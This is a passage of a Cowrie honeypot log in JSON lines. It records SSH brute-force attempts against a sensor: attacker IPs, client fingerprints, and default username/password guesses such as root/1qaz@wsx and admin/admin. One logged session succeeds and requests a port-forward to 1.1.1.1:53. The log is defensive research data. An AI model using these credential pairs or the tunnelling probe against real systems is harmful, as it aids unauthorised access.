ert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:15:56.279827Z","src_ip":"122.168.114.167","session":"32da7b2b5535","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar123","message":"login attempt [oscar/oscar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:16:05.719775Z","src_ip":"122.168.114.167","session":"32da7b2b5535","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.75.222.164","src_port":37242,"dst_ip":"10.17.0.5","dst_port":22,"session":"088f9eaebd71","protocol":"ssh","message":"New connection: 106.75.222.164:37242 (10.17.0.5:22) [session: 088f9eaebd71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:16:09.044378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:16:09.048492Z","src_ip":"106.75.222.164","session":"088f9eaebd71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:16:09.318760Z","src_ip":"106.75.222.164","session":"088f9eaebd71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:16:09.514848Z","src_ip":"122.168.114.167","session":"32da7b2b5535","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1q2w3e4r5t","message":"login attempt [admin/1q2w3e4r5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:16:10.426207Z","src_ip":"106.75.222.164","session":"088f9eaebd71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:16:11.697086Z","src_ip":"106.75.222.164","session":"088f9eaebd71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":57032,"dst_ip":"159.203.135.109","dst_port":22,"session":"85ad5d258292","protocol":"ssh","message":"New connection: 122.168.114.167:57032 (159.203.135.109:22) [session: 85ad5d258292]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:16:32.416699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:16:34.576536Z","src_ip":"122.168.114.167","session":"85ad5d258292","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:16:34.580803Z","src_ip":"122.168.114.167","session":"85ad5d258292","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.567551374435425,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:16:41.142071Z","src_ip":"185.26.126.47","session":"1401ecb7dd23","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"master","password":"master","message":"login attempt [master/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:16:43.217327Z","src_ip":"122.168.114.167","session":"85ad5d258292","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.2","message":"Connection lost after 14.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:16:46.625761Z","src_ip":"122.168.114.167","session":"85ad5d258292","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.208","src_port":44314,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6874720a606","protocol":"ssh","message":"New connection: 103.13.206.208:44314 (159.203.135.109:22) [session: f6874720a606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:17:05.451611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:17:05.456867Z","src_ip":"103.13.206.208","session":"f6874720a606","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:17:05.706298Z","src_ip":"103.13.206.208","session":"f6874720a606","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123123","message":"login attempt [deploy/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:17:06.698076Z","src_ip":"103.13.206.208","session":"f6874720a606","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:17:07.940978Z","src_ip":"103.13.206.208","session":"f6874720a606","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":44990,"dst_ip":"10.17.0.5","dst_port":22,"session":"f285e3d0af79","protocol":"ssh","message":"New connection: 87.251.64.176:44990 (10.17.0.5:22) [session: f285e3d0af79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:17:12.557746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:17:12.562305Z","src_ip":"87.251.64.176","session":"f285e3d0af79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:17:12.663188Z","src_ip":"87.251.64.176","session":"f285e3d0af79","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:17:12.950667Z","src_ip":"87.251.64.176","session":"f285e3d0af79","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:17:13.049037Z","session":"f285e3d0af79","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:17:13.146330Z","src_ip":"87.251.64.176","session":"f285e3d0af79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:17:13.244281Z","src_ip":"87.251.64.176","session":"f285e3d0af79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":59436,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0ad844676f9","protocol":"ssh","message":"New connection: 122.168.114.167:59436 (159.203.135.109:22) [session: b0ad844676f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:17:14.268898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:17:15.542208Z","src_ip":"122.168.114.167","session":"b0ad844676f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:17:15.548522Z","src_ip":"122.168.114.167","session":"b0ad844676f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.114.22.126","src_port":40622,"dst_ip":"10.17.0.5","dst_port":22,"session":"e71767f78514","protocol":"ssh","message":"New connection: 210.114.22.126:40622 (10.17.0.5:22) [session: e71767f78514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:17:15.829242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:17:16.047330Z","src_ip":"210.114.22.126","session":"e71767f78514","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:17:16.247230Z","src_ip":"210.114.22.126","session":"e71767f78514","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"tester123","message":"login attempt [test/tester123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:17:17.336082Z","src_ip":"210.114.22.126","session":"e71767f78514","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:17:18.542764Z","src_ip":"210.114.22.126","session":"e71767f78514","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@wsx","message":"login attempt [root/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:17:22.510798Z","src_ip":"122.168.114.167","session":"b0ad844676f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.0","message":"Connection lost after 11.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:17:25.306756Z","src_ip":"122.168.114.167","session":"b0ad844676f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":33608,"dst_ip":"159.203.135.109","dst_port":22,"session":"97b0ad371485","protocol":"ssh","message":"New connection: 122.168.114.167:33608 (159.203.135.109:22) [session: 97b0ad371485]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:17:51.702548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:17:54.098994Z","src_ip":"122.168.114.167","session":"97b0ad371485","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:17:54.102602Z","src_ip":"122.168.114.167","session":"97b0ad371485","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"centos","message":"login attempt [centos/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:18:09.272981Z","src_ip":"122.168.114.167","session":"97b0ad371485","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"218.78.46.81","src_port":53010,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7f45ef11ab3","protocol":"ssh","message":"New connection: 218.78.46.81:53010 (10.17.0.5:22) [session: c7f45ef11ab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:18:10.592186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:18:11.224627Z","src_ip":"218.78.46.81","session":"c7f45ef11ab3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 